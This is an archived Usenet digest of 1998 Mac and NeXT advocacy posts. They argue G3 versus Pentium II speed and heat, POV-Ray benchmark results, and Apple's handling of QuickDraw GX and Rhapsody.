<remove NOT from email address above, just like the spammers do>
####################################################################
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Sun, 31 May 1998 16:57:33 +1000
Organization: University of Queensland
Message-ID: <6kqunr$hhi$1@bunyip.cc.uq.edu.au>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net> <tas-3005980328230001@209.86.154.89> <gmgraves-3005981301160001@sf-usr1-3-131.dialup.slip.net>
George Graves wrote in message ...
>In article <tas-3005980328230001@209.86.154.89>, tas@mindspring.noUCE.com
>(Timothy A. Seufert) wrote:
>
>> In article <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net>,
>> gmgraves@slip.net (George Graves) wrote:
>>
>> >> >The G3 uses a 512k BACKSIDE cache, which I believe is faster than a
L2
>> >> >pipelined burst cache.
>> >
>> >By quite a bit. It has its OWN memory bus connecting it to the
processor.
>> >>
>> >> Both the pII and the G3 use the same type of cache.
>> >
>> >I don't think so. If they do, the PII's implementation is really lousy!
>>
>> Totally false. The PII has a backside cache bus. In the PII modules
>> released so far, the configuration is always 512K of 2:1 cache. There is
>> no reason to suspect that the implementation is "really lousy". Don't be
>> a dumb advocate, you just end up hurting your cause by making yourself
>> look stupid.
>>
>> The PII is a direct descendant of the Pentium Pro, which also had a
>> dedicated cache bus. The PPro was actually supplied with faster cache --
>> 256K or 512K of 1:1 cache -- but the expense of such high speed SRAM led
>> Intel to switch to 2:1 for the PII (which is supposed to be a mass market
>> CPU).
>
>OK, then you tell me why PIIs are so slow?
They're not. The fastest pII chip is about the same speed as the fastest
PowerPC chip.
>
>
>George Graves
ay that a 400 MHz PII
>doesn't dissipate over 40 watts?
I never said it doesn't get hot, not once. But it doesn't get so hot that a
simple heatsink and fan arrangement won't cool it. Oh btw, a pII/400
dissipates about 28W.
>
>George Graves
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 31 May 1998 00:10:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1965026-29DBC@206.165.43.17>
References: <6kqmcc$3k6$1@news.digifix.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Scott Anguish <sanguish@digifix.com> said:
>
> How many programs on the Mac even NEED
>Freehand/Pagemaker-level graphics editing capabilities?
Any and all applications that want to provide those services, including QT
editors, DTP apps, poster-makers, higher-end word-processors,
charting/illustration apps for spreadsheets, etc.
Games developers should have been using GX years ago for 2D card games (as
an example).
>
> Sorry, but you can't convince me that Apple spending precious
>resources writing a bloated, over-featured and years late replacement
>for QuickDraw that does all this when they really needed basic
>line-drawing capabilities that Classic Quickdraw never had, was ever
>money well spent.
Only because they never understood what they have. GX makes an ideal format
for internet graphics, for instance. Look at the required feature-set of
W3C's vector graphics initiative and realize that GX has all these features
and more besides.
>
> Editing Perspectivized Text in place is a perfect example of
>wasted effort... This when what we needed was the ability to draw a
>real line with proper miters.
>
You got that, too.
And it is only over-featured if you never use the features.
Touche. Apple never allowed users to use the features because they never
made it attractive enough to developers to make it worth their while to use
them.
The fact that HyperCard was able to use GX is one of the silliest things
that I've ever heard of. (Of course,the fact that Apple never made
HyperCard a truely robust development system and never had a home-grown
BASIC to fill in the gaps is equally silly).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 31 May 1998 00:41:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B196579A-45E28@206.165.43.17>
References: <6kqm3r$3k2$1@news.digifix.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Scott Anguish <sanguish@digifix.com> said:
>
> No, but it was able to do the perspective type text that
>companies like Reebok and other high profile graphics companies needed
>for their work. The didn't care about doing editing perspectivized
>text in-place. They just wanted make t-shirts for piddly little
>things like World Series Championships and such..
Yar, but they didn't want to write cute letters to their friends or make
cheapo posters without paying an arm and a leg for the privledge of doing
something that is built into GX and hence available in every Mac built in
the 90's.
>
>>And how do you know that no-one wants it? only a handful want it at
>>$300-$500 a pop, but what if it is $10?
>>
>
> Yawn. and they'll need to code their own stuff right Lawson?
Only at first. The 0.1a version requires hand-coding to get anything done.
It is easy enough to provide a simplistic interface to create built-in
shapes via a GUI, including the text-shapes, so that will likely be next on
my list. The biggest hurdle will be to devise a useable GX-based
text-editor and integrate it with the rest of GX as a custom shape-type.
Apple used to provide a sample text-editing library called GXEdit. I've
been looking it over and think that I can adapt it to my needs.
My short-term goal is to provide a complete HC API for virtually all of GX
graphics and Typography. After that, I'll create a few custom functions to
provide a GUI interface to the shape types. Mid-term is to provide rational
extensions to the standard GX shape-types including a gxSquigglyLayout
shape (for editing text-on-path) using Daniel Lipton's _develop_ sample
code. Printing and export to EPS will be added somewhere in there using
Apple's new GX printing library.
A fun idea is to create a GX-based control manager to allow scripting of
dialog boxes from within HC. THis can be prototyped in HyperTalk since the
only info that GX needs in order draw into an arbitrary QuickDraw window is
a reference to that window. ONce you have that, you can script the
appearance of a standard HC window, a floating window or even a dialog box
from within HyperCard itself. GX + HC makes a good GUI prototyping tool, as
you can see.
The final goal, if I can swing it, is to provide a relatively complete,
single-page DTP app using a combination of HC and external calls.
The only non-trivial part of the above is to provide a useable text-block
editing system integrated with rest of GX. The rest is just combining
existing Apple sample code into a useful format and adding a simple GUI to
it (it would be fun if I could eventually implement the GUI (except menus)
using GX itself -sliders that follow an arbitrary path, anyone?).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 31 May 1998 07:42:47 GMT
Organization: Michigan State University
Message-ID: <6kr1ln$sip$1@msunews.cl.msu.edu>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu>
<356ce269.0@206.25.228.5>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: jkheit@xtdl.com
In <356ce269.0@206.25.228.5> John Kheit wrote:
> arman.afagh@med.nyu.eduNOSPAM (Arman Afagh) wrote:
> > After reading this post, and macghod's (and other's) subsequent
> > replies, am I the only one who thinks that macghod is full of
> > shit and has no intention of buying a new computer. Even if he
> > is, he made no consideration of the Mac. He's set up this post
> > as a straw man so that he can shoot down the Mac as being more
> > expensive than a pc of lesser quality. Furthermore, one of his
> > big points seems to be that the Mac has less RAM. Well, Apple
> > is offering the 32 MB of RAM for free. Most of the other
> > differences are hardly significant. Macghod has no intention of
> > even considering buying an Apple-produced machine (given how much
> > he's expounded his bitter hatred and venemous disgust for Apple
> > in this thread and others), and this thread is a complete straw
> > man.
>
> Well, I sure as heck don't know what his or other's intentions are,
> but I do know one thing. The mac still costs a bunch more on a
> price/performance basis than other intel offerings. And I still
> see that there will always be mac apologists that will stretch
> and make any kind of willfully blind excuses to explain why what
> is a blatant reality only *seems* that way to dumb people who
> haven't seen the light. As long as we have enough koolaid drinkers,
> I imagine the manufacturer will keep selling at the current inflated
> price structure. Your Koolaid Dosage May Vary.
I don't think the performance argument won't be settled easily.
It would be nice if people individually came up with their own
performance benchmarks for the things they do. Post some
web pages with some reports.
Apple saying the G3 is 2x as fast as PII really doesn't do anything
for me. It's an empty argument until it hits my desktop. Now
if there were some other reputable entities w/o a vested interest
saying that G3 is 2x (on average) Mhz for Mhz to the PII
my ears would pirk up.. I am listening to those of you with
G3's and Intel!! I have to see Rhapsody & Linux on those
boxes though - and do my own comparisions.
I do suspect the G3's kick some serious butt on integer stuff.
I am a bit concerned about actual I/O numbers. I am also
concerned wether the G3 will have any serious fp capabilities.
I suspect it will just barely keep up with PII clock for clock doing
heavy fp work.
John I think you know better than to say the G3 is a
price/performance dog when you havn't tried a G3 (have you?!).
At least I will reserve judgement until I can actually get one. But
even
if I do get one. You and I both know that comparisions of a G3 to a
PII
isn't just dependant on hardware, but also kernel, drivers, compilers,
and whatever software you plan to run.
My impression of the G3 is that it's a watered down 604e. The fp
performance isn't quite as good as the 604e. The integer performane
may be as good or better! As to the PII - it seems to be a watered
down P-Pro.
As to which is better I very much look forward to comparing them.
Do I plan on getting a G3 anytime soon?
Well when I hear rumors of sub 1K 233 G3's by christmas, factor
in my suspicions that Apple's markup is something like 100% - with
room to compete on price later.. I'm not too keen on paying 2K
for a G3 now when my nose says prices are set to drop in the
next 6 months. I'm also not buying on speculation. The reason
I'm G3 shy is mainly due to compatibility. I can only run MacOS
or Rhapsody on it. And I do like Openstep IMHO-> hence Intel
preference.
Personally I will err on the conservative side until Rhapsody ships
and people start running comparision tests with G3 & Intel and
can say something about it. Either that or I get access to a G3
locally.
I think rather than quote numbers - which everyone can do to their
hearts content it would be better for those who have done comparisions
to just report some of their experiences & tests.. Real world stuff..
I'm suspecting that perhaps G3 may run Rhapsody very well
compared to PII. I also suspect for floating point work, PII may
still be the price/performance winner. I tend to prefer comparisions
that try to factor out things (i.e. same compiler, same OS
different hardware). Comparing MacOS with Codewarrior to
Linux with gcc is interesting but tough to glean some meaningful
results.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: "Earl Malmrose" <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 31 May 1998 07:47:36 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <01bd8c68$18b144c0$0b0ba8c0@woohoo>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net> <01bd8ac0$3f8b7560$0b0ba8c0@woohoo> <alex-2905981229470001@208.21.174.26> <01bd8b88$e3cb3340$0b0ba8c0@woohoo> <alex-3005981519560001@208.21.174.26>
NNTP-Posting-Date: 31 May 1998 07:47:36 GMT
Alex Kac <alex@webis.net> wrote in article
<alex-3005981519560001@208.21.174.26>...
> In article <01bd8b88$e3cb3340$0b0ba8c0@woohoo>, "Earl Malmrose"
> <malmrose@nospam.jetcity.com> wrote:
>
> : Alex Kac <alex@webis.net> wrote in article
> : <alex-2905981229470001@208.21.174.26>...
> : > I don't know why you bother...I got my G3/266 with 160MB of RAM, 4GB
EIDE
> : > HD, built in ZIP for $2000....though true, I already did have my 17'.
And
> : > that includes tax BTW.
> :
> : So where did you get it?
>
> I bought it at Cyberian Outpost for $1800 plus $30 shipping. That was for
> a G3/266/Zip/4GB/32MB. I then bought 128MB of RAM for $205 total. I
> already had a 17'' monitor and a 2 button mouse from my 9500, so I didn't
> need that. That was a month ago. Maybe a little more than a month.
Well, I passed on the Gateway. I drove down to the local built-it-yourself
shop. I built my own Dual PII-333 loaded for $2400:
Dual PII-333
on-board ultra SCSI (not using it yet)
128MB ram
6.4 GB IDE hd
32x IDE CD
Millenium II 4MB PCI video
Monster Voodoo2 3D accelerator
10/100 PCI ethernet
17" monitor
SB AWE64 sound card
speakers, mouse, keyboard
It was my first built-it-yourself system. It took me 2 hours to put it all
together. I'm still loading all the software.
From: "Earl Malmrose" <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 31 May 1998 07:49:55 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <01bd8c68$796fcf20$0b0ba8c0@woohoo>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <6kiogb$9dn$1@newsfep1.sprintmail.com> <gmgraves-2805981043560001@sf-usr1-44-172.dialup.slip.net> <01bd8abf$840441a0$0b0ba8c0@woohoo> <cirby-2905981502440001@pm61-26.magicnet.net> <01bd8b8a$5d6e4f60$0b0ba8c0@woohoo> <slrn6n0btr.4f7.jason@jhste1.dyn.ml.org>
NNTP-Posting-Date: 31 May 1998 07:49:55 GMT
Jason S. <jason@jhste1.dyn.ml.org> wrote in article
<slrn6n0btr.4f7.jason@jhste1.dyn.ml.org>...
> Earl Malmrose posted the following to comp.sys.mac.advocacy:
>
> >I'm not looking at anybody else's scores. I'll have to check them out,
> >though. Where are they? I've run POVRay on my own G3-266 and PII-300.
Are
> >you sure you've set both systems up with the same POV settings? I've
> >carefully configured POV to be the same on both, and I've had someone
else
> >do the same, with the same results. I'm interested to see if my results
are
> >correct, or if I do have something setup wrong.
>
> If you built it with CodeWarrior, it's set up wrong. ;)
Good one. No, I used the precompiled binaries from www.povray.org.
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Sun, 31 May 1998 01:28:36 +0100
Organization: EarthLink Network, Inc.
Message-ID: <3570A42E.D42@earthlink.net>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <rmcassid-2905981526310001@dante.eng.uci.edu> <slrn6n17mu.lsb.sal@panix3.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Salvatore Denaro wrote:
> Someone at Apple should walk up to Steve and yell the following into his
> face:
>
> "Steve!!!!! People want Rhapsody on the PC!!!! They are asking for it!!!!
> They think that it will SELL RHAPSODY to PC users who might then want to
> BUY MAC HARDWARE!!! DON'T KILL IT!!!!"
Also maybe tell him that we want Rhapsody/MacOS X to be the ultimate 3D
animation graphics platform (and I ain't talking games!) supporting
OpenGL and we want DRIVERS, DRIVERS, DRIVERS for all those kick-ass
"cheap" OpenGL accelerator cards that the Wintel crowd has access
to!!!! I mean, the guy OWNS PIXAR for Pete's sakes! You think he could
put a bullet proof 3D animation plan together for Apple's future! C'mon
Steve! Think Different!
Steve
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Sun, 31 May 1998 01:31:43 +0100
Organization: EarthLink Network, Inc.
Message-ID: <3570A4E9.1822@earthlink.net>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <slrn6ms4sm.79d.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905980008090001@dialin33418.slip.uci.edu> <slrn6mu26s.abi.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905981406440001@dante.eng.uci.edu> <6kmp99$i5e$3@ns3.vrx.net> <19980531001706761026@sdn-ts-006txhousp05.dialsprint.net>
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John Bauer wrote:
> While we're (sort of) on the subject, are all of these chips (Merced,
> MIPS, SPARC, G4) 64-bit? Does this mean that NT (or at least non-x86
> NT) is 64-bit? Will Mac OS X have to be 64-bit to run on a G4? Does
> this involve only redoing the kernel (again) or is it more than that?
> Finally, not that anyone knows the answer, but how likely is Apple to
> have an operating system ready to run when G4s ship (if G4s are 64-bit
> and the OS must be too)?
Wasn't Openstep 64-bit clean already? Wouldn't that allow Rhapsody/Mac
OSX it to run on these new chips just fine?
Steve
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Sun, 31 May 1998 23:30:35 +1000
Organization: University of Queensland
Message-ID: <6krloo$au9$1@bunyip.cc.uq.edu.au>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kiqjf$q38$1@nargun.cc.uq.edu.au> <gmgraves-2805981020030001@sf-usr1-44-172.dialup.slip.net> <6kkitl$elu$1@nargun.cc.uq.edu.au> <joe.ragosta-2905980852240001@wil95.dol.net> <6kmn8i$ccl$1@bunyip.cc.uq.edu.au> <gmgraves-2905981042360001@sf-pm5-11-75.dialup.slip.net> <6kn19b$n3u$1@bunyip.cc.uq.edu.au> <gmgraves-3005981259430001@sf-usr1-3-131.dialup.slip.net> <6kqul1$hm0$1@bunyip.cc.uq.edu.au> <joe.ragosta-3105980901070001@elk52.dol.net>
Joe Ragosta wrote in message ...
>In article <6kqul1$hm0$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
><drsmithy@usa.net> wrote:
>
>>
>> I never said it doesn't get hot, not once. But it doesn't get so hot
that a
>> simple heatsink and fan arrangement won't cool it. Oh btw, a pII/400
>> dissipates about 28W.
>
>Which happens to be just about 4 times the heat of a G3/300.
And pretty much irrelevant in a desktop system.
>
>--
>Regards,
>
>Joe Ragosta
>See the Complete Macintosh Advocacy Page
>http://www.dol.net/~Ragosta/complmac.htm
Date: Sun, 31 May 1998 09:01:07 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Message-ID: <joe.ragosta-3105980901070001@elk52.dol.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kiqjf$q38$1@nargun.cc.uq.edu.au> <gmgraves-2805981020030001@sf-usr1-44-172.dialup.slip.net> <6kkitl$elu$1@nargun.cc.uq.edu.au> <joe.ragosta-2905980852240001@wil95.dol.net> <6kmn8i$ccl$1@bunyip.cc.uq.edu.au> <gmgraves-2905981042360001@sf-pm5-11-75.dialup.slip.net> <6kn19b$n3u$1@bunyip.cc.uq.edu.au> <gmgraves-3005981259430001@sf-usr1-3-131.dialup.slip.net> <6kqul1$hm0$1@bunyip.cc.uq.edu.au>
In article <6kqul1$hm0$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
>
> I never said it doesn't get hot, not once. But it doesn't get so hot that a
> simple heatsink and fan arrangement won't cool it. Oh btw, a pII/400
> dissipates about 28W.
Which happens to be just about 4 times the heat of a G3/300.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sun, 31 May 1998 09:02:16 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Message-ID: <joe.ragosta-3105980902160001@elk52.dol.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <6kiogb$9dn$1@newsfep1.sprintmail.com> <gmgraves-2805981043560001@sf-usr1-44-172.dialup.slip.net> <01bd8abf$840441a0$0b0ba8c0@woohoo> <cirby-2905981502440001@pm61-26.magicnet.net> <01bd8b8a$5d6e4f60$0b0ba8c0@woohoo> <cirby-3005981957450001@pm61-42.magicnet.net>
In article <cirby-3005981957450001@pm61-42.magicnet.net>,
cirby@magicnet.net (Chad Irby) wrote:
> "Earl Malmrose" <malmrose@nospam.jetcity.com> wrote:
>
> > I'm not looking at anybody else's scores. I'll have to check them out,
> > though. Where are they? I've run POVRay on my own G3-266 and PII-300. Are
> > you sure you've set both systems up with the same POV settings? I've
> > carefully configured POV to be the same on both, and I've had someone else
> > do the same, with the same results. I'm interested to see if my results are
> > correct, or if I do have something setup wrong.
>
> That's the weird thing about the POVRay bench. I've gotten radically
> different results by changing things that (should) be pretty trivial. I
> even got a better result with *full* raytracing than I did with a similar
> setup on adaptive rendering (6 minutes versus 3 in a non-benchmark
> render).
>
> Mostly, I think the current Mac version of POVRay is just sorta messed
> up. For example, I got one *fast* run (61 seconds) with one setting.
> Then I quit the app, reset to the *same* setting, and got 2:33.
Any benchmark which shows a PII/233 and a Pentium 75 to be the same speed
is a pretty suspect benchmark.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Howabout Something Better than what we have now?
Message-ID: <1998053113532600.JAA11929@ladder03.news.aol.com>
Date: 31 May 1998 13:53:26 GMT
Organization: AOL http://www.aol.com
References: <B196579A-45E28@206.165.43.17>
Lawson said:
>The final goal, if I can swing it, is to provide a relatively complete,
>single-page DTP app using a combination of HC and external calls.
>
>The only non-trivial part of the above is to provide a useable text-block
That's nice, but what use is it if it won't print? And by that, I mean to an
imagesetter.
I tell you what, go get a job with Manhattan Graphics, creating .MPD files and
the attendant support for every major line of imagesetters, and when you've got
that done, go and arrange for support for the next GX app.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 31 May 1998 06:55:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B196AF2E-6ECC@206.165.43.133>
References: <B1965026-29DBC@206.165.43.17>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Lawson English <english@primenet.com> said:
>The fact that HyperCard was able to use GX is one of the silliest things
>that I've ever heard of. (Of course,the fact that Apple never made
>HyperCard a truely robust development system and never had a home-grown
>BASIC to fill in the gaps is equally silly).
That should have read:
"The fact that HyperCard was _never_ able to use GX is one of the silliest
thigns that I've ever heard of."
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 31 May 1998 07:46:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B196BB0A-33821@206.165.43.133>
References: <B196579A-45E28@206.165.43.17>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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Lawson English <english@primenet.com> said:
>The only non-trivial part of the above is to provide a useable text-block
>editing system integrated with rest of GX. The rest is just combining
>existing Apple sample code into a useful format and adding a simple GUI to
>it (it would be fun if I could eventually implement the GUI (except menus)
>using GX itself -sliders that follow an arbitrary path, anyone?).
This reminds me...
One of the chief defenses of using NeXTstep graphics instead of GX in
Rhaposdy has always been that the framework + DPS can do everything that GX
can do. Well, obviously, for 3D perspective text, this wasn't the case,
but...
The point is moot. Next, er, Rhapsody/MacOSX is NOT going to have DPS
available.
Which means that they must now reinvent all the capabilties that NeXT/DPS
advocates simply presumed were available.
Such as:
applying an arbitrary path as a pattern for an arbitrary path. E.G., GX
allows one to use some simple pattern, either bitmap or vector graphic, as
the fill for a vector graphic (there is simple sample code to do this that
is downloadable from Apple's website, in case anyone is interested). DPS
allows this too.
Does the Carbon API allow it? If not, this will need to be implemented in
the YB framework and somehow exposed to Carbon applications if Apple
expects them to be able to use this facility. OOPS. Apple wants developers
to abandon their installed base as quickly as possible so they'll move to
YB apps.
This whole thing is SOOOOO stupid. If a floating-point-coordinate version
of GX were implemented in Carbon, with the YB version being extensible,
Apple would retain a coherent graphics API that would be forwards
compatible, image-wise, and backwards-compatible, API-wise (you'd simply
nullify the float-to-fix macros used to pass variables to the fp version of
GX).
This API would work pretty darned well on all Macs from LC IIIs, on up to
G3-300's. You could keep the current Carbon graphics API as is, but extend
it to handle GX's color options and 3x3 matrix.
Apple could take the MacOS 8 GX init and make sure that it worked on System
7.x color Macs, thereby eliminating the printing issues on those older
computers. They could sell this puppy for $25 to anyone that was interested
in a workable System 7.x version of GX. For virtually ALL purposes, 32K
worth of pixels is just as useable as umpteen million, so there would be no
actual incompatibilities between the floating point images and the fixed
point images. A translation app could ALWAYS translate fixed-point images
into floating point, and could signal an error if it encountered a floating
point coordinate that was out-of-range when translating the other way.
If some incompatibility between the fp GX model and the fixed GX model
arose due to the extra capabilities on the carbon/YB side of things, the
translation app could render this as a 72-300 DPI bitmap shape when
translating into the fixed GX file format.
This strategy *unifies* the entire color Macintosh installed base for
high-end graphics. It leverages the 7 years that it took Apple to create
GX.
7 years. Even though the YB is a far superior programming environment, does
anyone really think that my proposal would take MORE time than re-inventing
GX for the Yellow Box?
Or does everyone agree with Scott Anguish that GX is hopelessly bloated and
useless and should be abandoned and that whatever appears in YB should be
lean and mean and without extraneous features that implement about 90% of
the functionality of the now-lost DPS?
Ah well, call me Kassandra. I'm crazy to think that Apple will EVER do the
"right thing" for its developers and installed base.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 31 May 1998 08:19:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B196C2E5-5109F@206.165.43.133>
References: <B196AF2E-6ECC@206.165.43.133>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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A light dawns. The reason why NeXT, er, Apple, and all NeXT, er, MacOS X,
developers don't like editable 3D perspective text is...
POSTSCRIPT DOESN'T HANDLE IT.
GX does.
If I created an editable text-processor for GX (remember that Apple USED TO
supply sample code for a 32K GX text-editor), and saved the output using
GX's built-in file format, any other GX application could open and edit the
text contained in that GX text-block, even though they couldn't easily
retain the word-wrap info, even if the text had a 3D perspective (or other
distortion) applied.
OTOH, I'm willing to bet that Scot Anguish's 3D perspective text solution
not only can't be edited, but you can't even tell, programmatically, what
the original text was, when he saves it to an EPS file, unless he uses his
own, private, non-standard comments to record the original text.
In other words, Apple has deliberately crippled the built-in graphics
capabilities of the Mac to be no better than what Adobe allows.
Shame, Apple.
Shame, shame, shame.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: arman.afagh@med.nyu.eduNOSPAM (Arman Afagh)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Sun, 31 May 1998 12:03:36 -0400
Organization: NYU School of Medicine
Message-ID: <arman.afagh-3105981203360001@mcrubs1102.med.nyu.edu>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kiqjf$q38$1@nargun.cc.uq.edu.au> <gmgraves-2805981020030001@sf-usr1-44-172.dialup.slip.net> <6kkitl$elu$1@nargun.cc.uq.edu.au> <joe.ragosta-2905980852240001@wil95.dol.net> <6kmn8i$ccl$1@bunyip.cc.uq.edu.au> <gmgraves-2905981042360001@sf-pm5-11-75.dialup.slip.net> <6kn19b$n3u$1@bunyip.cc.uq.edu.au> <gmgraves-3005981259430001@sf-usr1-3-131.dialup.slip.net> <6kqul1$hm0$1@bunyip.cc.uq.edu.au> <joe.ragosta-3105980901070001@elk52.dol.net> <6krloo$au9$1@bunyip.cc.uq.edu.au>
In article <6krloo$au9$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
>Joe Ragosta wrote in message ...
>>In article <6kqul1$hm0$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
>><drsmithy@usa.net> wrote:
>>
>>>
>>> I never said it doesn't get hot, not once. But it doesn't get so hot
>that a
>>> simple heatsink and fan arrangement won't cool it. Oh btw, a pII/400
>>> dissipates about 28W.
>>
>>Which happens to be just about 4 times the heat of a G3/300.
>
>And pretty much irrelevant in a desktop system.
Shall we talk about the notebooks/Powerbooks then?
ARman.
--
Arman Afagh NYU School of Medicine - Class of 1999
arman.afagh@med.nyu.edu http://endeavor.med.nyu.edu/~afagha01
Friends don't let friends buy Windows.
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
